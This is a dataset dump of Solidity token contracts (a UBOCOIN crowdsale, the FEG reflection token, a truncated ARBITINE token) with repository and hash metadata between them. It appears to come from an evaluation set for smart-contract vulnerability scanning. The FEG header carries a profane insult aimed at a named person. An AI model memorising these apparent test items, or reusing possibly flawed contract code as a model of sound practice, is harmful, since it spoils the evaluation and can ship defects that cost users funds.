if (balanceP[_from] >= _value && _value > 0 && allowance[_from][msg.sender] >= _value) {
allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value);
balanceP[_from] = sub(balanceP[_from], _value);
balanceP[_to] = add(balanceP[_to], _value);
emit Transfer(_from, _to, _value);
return true;
}
else {
return false;
}
}
// should only be called when first setting an allowance
function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool success) {
require(allowance[msg.sender][_spender] == 0);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// increase or decrease allowance
function increaseApproval(address _spender, uint _value) public returns (bool) {
allowance[msg.sender][_spender] = add(allowance[msg.sender][_spender], _value);
emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _value) public returns (bool) {
if(_value > allowance[msg.sender][_spender]) {
allowance[msg.sender][_spender] = 0;
} else {
allowance[msg.sender][_spender] = sub(allowance[msg.sender][_spender], _value);
}
emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]);
return true;
}
// safety methods
function () public payable {
revert();
}
function emptyWrongToken(address _addr) onlyOwner public {
ERC20Token wrongToken = ERC20Token(_addr);
uint256 amount = wrongToken.balanceOf(address(this));
require(amount > 0);
require(wrongToken.transfer(msg.sender, amount));
emit WrongTokenEmptied(_addr, msg.sender, amount);
}
// shouldn't happen, just in case
function emptyWrongEther() onlyOwner public {
uint256 amount = address(this).balance;
require(amount > 0);
msg.sender.transfer(amount);
emit WrongEtherEmptied(msg.sender, amount);
}
}
| 221,540 | 14,175 |
d144103a3e4ff27c96077e129c292948e2d6a948b43a3ef8efb4b3ea2ea6a746
| 17,292 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x51b3e8bc61e9c21e979468379d3147d6b955b79f.sol
| 4,185 | 15,077 |
pragma solidity ^0.4.19;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract UBOCOIN is BurnableToken, Ownable
{
// ERC20 token parameters
string public constant name = "UBOCOIN";
string public constant symbol = "UBO";
uint8 public constant decimals = 18;
// Crowdsale base price (before bonuses): 0.001 ETH per UBO
uint256 private UBO_per_ETH = 1000 * (uint256(10) ** decimals);
// 14 days with 43% bonus for purchases of at least 1000 UBO (19 february - 5 march)
uint256 private constant pre_ICO_duration = 15 days;
uint256 private constant pre_ICO_bonus_percentage = 43;
uint256 private constant pre_ICO_bonus_minimum_purchased_UBO = 1000 * (uint256(10) ** decimals);
// 21 days with 15% bonus (6 march - 26 march)
uint256 private constant first_bonus_sale_duration = 21 days;
uint256 private constant first_bonus_sale_bonus = 15;
// 15 days with 10% bonus (27 march - 10 april)
uint256 private constant second_bonus_sale_duration = 15 days;
uint256 private constant second_bonus_sale_bonus = 10;
// 8 days with 6% bonus (11 april - 18 april)
uint256 private constant third_bonus_sale_duration = 8 days;
uint256 private constant third_bonus_sale_bonus = 6;
// 7 days with 3% bonus (19 april - 25 april)
uint256 private constant fourth_bonus_sale_duration = 7 days;
uint256 private constant fourth_bonus_sale_bonus = 3;
// 5 days with no bonus (26 april - 30 april)
uint256 private constant final_sale_duration = 5 days;
// The target of the crowdsale is 3500000 UBICOINS.
// If the crowdsale has finished, and the target has not been reached,
// all crowdsale participants will be able to call refund() and get their
// ETH back. The refundMany() function can be used to refund multiple
// participants in one transaction.
uint256 public constant crowdsaleTargetUBO = 3500000 * (uint256(10) ** decimals);
// Variables that remember the start times of the various crowdsale periods
uint256 private pre_ICO_start_timestamp;
uint256 private first_bonus_sale_start_timestamp;
uint256 private second_bonus_sale_start_timestamp;
uint256 private third_bonus_sale_start_timestamp;
uint256 private fourth_bonus_sale_start_timestamp;
uint256 private final_sale_start_timestamp;
uint256 private crowdsale_end_timestamp;
// Publicly accessible trackers that indicate how much UBO is left
// in each category
uint256 public crowdsaleAmountLeft;
uint256 public foundersAmountLeft;
uint256 public earlyBackersAmountLeft;
uint256 public teamAmountLeft;
uint256 public bountyAmountLeft;
uint256 public reservedFundLeft;
// Keep track of all participants, how much they bought and how much they spent.
address[] public allParticipants;
mapping(address => uint256) public participantToEtherSpent;
mapping(address => uint256) public participantToUBObought;
function crowdsaleTargetReached() public view returns (bool)
{
return amountOfUBOsold() >= crowdsaleTargetUBO;
}
function crowdsaleStarted() public view returns (bool)
{
return pre_ICO_start_timestamp > 0 && now >= pre_ICO_start_timestamp;
}
function crowdsaleFinished() public view returns (bool)
{
return pre_ICO_start_timestamp > 0 && now >= crowdsale_end_timestamp;
}
function amountOfParticipants() external view returns (uint256)
{
return allParticipants.length;
}
function amountOfUBOsold() public view returns (uint256)
{
return totalSupply_ * 70 / 100 - crowdsaleAmountLeft;
}
// If the crowdsale target has not been reached, or the crowdsale has not finished,
// don't allow the transfer of tokens purchased in the crowdsale.
function transfer(address _to, uint256 _amount) public returns (bool)
{
if (!crowdsaleTargetReached() || !crowdsaleFinished())
{
require(balances[msg.sender] - participantToUBObought[msg.sender] >= _amount);
}
return super.transfer(_to, _amount);
}
// Constructor function
function UBOCOIN() public
{
totalSupply_ = 300000000 * (uint256(10) ** decimals);
balances[this] = totalSupply_;
Transfer(0x0, this, totalSupply_);
crowdsaleAmountLeft = totalSupply_ * 70 / 100; // 70%
foundersAmountLeft = totalSupply_ * 10 / 100; // 10%
earlyBackersAmountLeft = totalSupply_ * 5 / 100; // 5%
teamAmountLeft = totalSupply_ * 5 / 100; // 5%
bountyAmountLeft = totalSupply_ * 5 / 100; // 5%
reservedFundLeft = totalSupply_ * 5 / 100; // 5%
setPreICOStartTime(1518998400); // This timstamp indicates 2018-02-19 00:00 UTC
}
function setPreICOStartTime(uint256 _timestamp) public onlyOwner
{
// If the crowdsale has already started, don't allow re-scheduling it.
require(!crowdsaleStarted());
pre_ICO_start_timestamp = _timestamp;
first_bonus_sale_start_timestamp = pre_ICO_start_timestamp + pre_ICO_duration;
second_bonus_sale_start_timestamp = first_bonus_sale_start_timestamp + first_bonus_sale_duration;
third_bonus_sale_start_timestamp = second_bonus_sale_start_timestamp + second_bonus_sale_duration;
fourth_bonus_sale_start_timestamp = third_bonus_sale_start_timestamp + third_bonus_sale_duration;
final_sale_start_timestamp = fourth_bonus_sale_start_timestamp + fourth_bonus_sale_duration;
crowdsale_end_timestamp = final_sale_start_timestamp + final_sale_duration;
}
function startPreICOnow() external onlyOwner
{
setPreICOStartTime(now);
}
function destroyUnsoldTokens() external
{
require(crowdsaleStarted() && crowdsaleFinished());
uint256 amountToBurn = crowdsaleAmountLeft;
crowdsaleAmountLeft = 0;
this.burn(amountToBurn);
}
// If someone sends ETH to the contract address,
// assume that they are trying to buy tokens.
function () payable external
{
buyTokens();
}
function buyTokens() payable public
{
uint256 amountOfUBOpurchased = msg.value * UBO_per_ETH / (1 ether);
// Only allow buying tokens if the ICO has started, and has not finished
require(crowdsaleStarted());
require(!crowdsaleFinished());
// If the pre-ICO hasn't started yet, cancel the transaction
if (now < pre_ICO_start_timestamp)
{
revert();
}
// If we are in the pre-ICO...
else if (now >= pre_ICO_start_timestamp && now < first_bonus_sale_start_timestamp)
{
// If they purchased enough to be eligible for the pre-ICO bonus,
// then give them the bonus
if (amountOfUBOpurchased >= pre_ICO_bonus_minimum_purchased_UBO)
{
amountOfUBOpurchased = amountOfUBOpurchased * (100 + pre_ICO_bonus_percentage) / 100;
}
}
// If we are in the first bonus sale...
else if (now >= first_bonus_sale_start_timestamp && now < second_bonus_sale_start_timestamp)
{
amountOfUBOpurchased = amountOfUBOpurchased * (100 + first_bonus_sale_bonus) / 100;
}
// If we are in the second bonus sale...
else if (now >= second_bonus_sale_start_timestamp && now < third_bonus_sale_start_timestamp)
{
amountOfUBOpurchased = amountOfUBOpurchased * (100 + second_bonus_sale_bonus) / 100;
}
// If we are in the third bonus sale...
else if (now >= third_bonus_sale_start_timestamp && now < fourth_bonus_sale_start_timestamp)
{
amountOfUBOpurchased = amountOfUBOpurchased * (100 + third_bonus_sale_bonus) / 100;
}
// If we are in the fourth bonus sale...
else if (now >= fourth_bonus_sale_start_timestamp && now < final_sale_start_timestamp)
{
amountOfUBOpurchased = amountOfUBOpurchased * (100 + fourth_bonus_sale_bonus) / 100;
}
// If we are in the final sale...
else if (now >= final_sale_start_timestamp && now < crowdsale_end_timestamp)
{
// No bonus
}
// If we are passed the final sale, cancel the transaction.
else
{
revert();
}
// Make sure the crowdsale has enough UBO left
require(amountOfUBOpurchased <= crowdsaleAmountLeft);
// Remove the tokens from this contract and the crowdsale tokens,
// add them to the buyer
crowdsaleAmountLeft -= amountOfUBOpurchased;
balances[this] -= amountOfUBOpurchased;
balances[msg.sender] += amountOfUBOpurchased;
Transfer(this, msg.sender, amountOfUBOpurchased);
// Track statistics
if (participantToEtherSpent[msg.sender] == 0)
{
allParticipants.push(msg.sender);
}
participantToUBObought[msg.sender] += amountOfUBOpurchased;
participantToEtherSpent[msg.sender] += msg.value;
}
function refund() external
{
// If the crowdsale has not started yet, don't allow refund
require(crowdsaleStarted());
// If the crowdsale has not finished yet, don't allow refund
require(crowdsaleFinished());
// If the target was reached, don't allow refund
require(!crowdsaleTargetReached());
_refundParticipant(msg.sender);
}
function refundMany(uint256 _startIndex, uint256 _endIndex) external
{
// If the crowdsale has not started yet, don't allow refund
require(crowdsaleStarted());
// If the crowdsale has not finished yet, don't allow refund
require(crowdsaleFinished());
// If the target was reached, don't allow refund
require(!crowdsaleTargetReached());
for (uint256 i=_startIndex; i<=_endIndex && i<allParticipants.length; i++)
{
_refundParticipant(allParticipants[i]);
}
}
function _refundParticipant(address _participant) internal
{
if (participantToEtherSpent[_participant] > 0)
{
// Return the UBO they bought into the crowdsale funds
uint256 refundUBO = participantToUBObought[_participant];
participantToUBObought[_participant] = 0;
balances[_participant] -= refundUBO;
balances[this] += refundUBO;
crowdsaleAmountLeft += refundUBO;
Transfer(_participant, this, refundUBO);
// Return the ETH they spent to buy them
uint256 refundETH = participantToEtherSpent[_participant];
participantToEtherSpent[_participant] = 0;
_participant.transfer(refundETH);
}
}
function distributeFounderTokens(address _founderAddress, uint256 _amount) external onlyOwner
{
require(_amount <= foundersAmountLeft);
foundersAmountLeft -= _amount;
this.transfer(_founderAddress, _amount);
}
function distributeEarlyBackerTokens(address _earlyBackerAddress, uint256 _amount) external onlyOwner
{
require(_amount <= earlyBackersAmountLeft);
earlyBackersAmountLeft -= _amount;
this.transfer(_earlyBackerAddress, _amount);
}
function distributeTeamTokens(address _teamMemberAddress, uint256 _amount) external onlyOwner
{
require(_amount <= teamAmountLeft);
teamAmountLeft -= _amount;
this.transfer(_teamMemberAddress, _amount);
}
function distributeBountyTokens(address _bountyReceiverAddress, uint256 _amount) external onlyOwner
{
require(_amount <= bountyAmountLeft);
bountyAmountLeft -= _amount;
this.transfer(_bountyReceiverAddress, _amount);
}
function distributeReservedTokens(address _to, uint256 _amount) external onlyOwner
{
require(_amount <= reservedFundLeft);
reservedFundLeft -= _amount;
this.transfer(_to, _amount);
}
function distributeCrowdsaleTokens(address _to, uint256 _amount) external onlyOwner
{
require(_amount <= crowdsaleAmountLeft);
crowdsaleAmountLeft -= _amount;
this.transfer(_to, _amount);
}
function ownerWithdrawETH() external onlyOwner
{
// Only allow the owner to withdraw if the crowdsale target has been reached
require(crowdsaleTargetReached());
owner.transfer(this.balance);
}
}
| 185,546 | 14,176 |
fec962d83228be243b236d27476508e55311b232c2bd62606e65450c140a6706
| 25,398 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/836_113155_0x389999216860ab8e0175387a0c90e5c52522c945.sol
| 4,473 | 16,468 |
// FEG (Fuck Emily Goetz Token)
// Why? Because fuck you thats why!
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FEG is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'FEGtoken';
string private _symbol = 'FEG';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 230,397 | 14,177 |
21fdd94a10266baecfb74e8e199498a5536c030cdff9ca1833e7380bac32127d
| 14,743 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/a6/A698701df137D13098D8a6D8D6d147Fdcc4Ff088_ARBITINE.sol
| 3,676 | 13,808 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline)
external payable;
}
contract ARBITINE is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
string private constant _name = "Arbitine";
string private constant _symbol = "ARBITINE";
uint8 private constant _decimals = 9;
uint256 private _tTotal = 1000000 * 10**_decimals;
uint256 public _maxWalletAmount = 20000 * 10**_decimals;
uint256 public _maxTxAmount = 20000 * 10**_decimals;
uint256 public swapTokenAtAmount = 1000 * 10**_decimals;
address public liquidityReceiver;
address public charityWallet;
struct BuyFees {
uint256 liquidity;
uint256 charity;
}
struct SellFees {
uint256 liquidity;
uint256 charity;
}
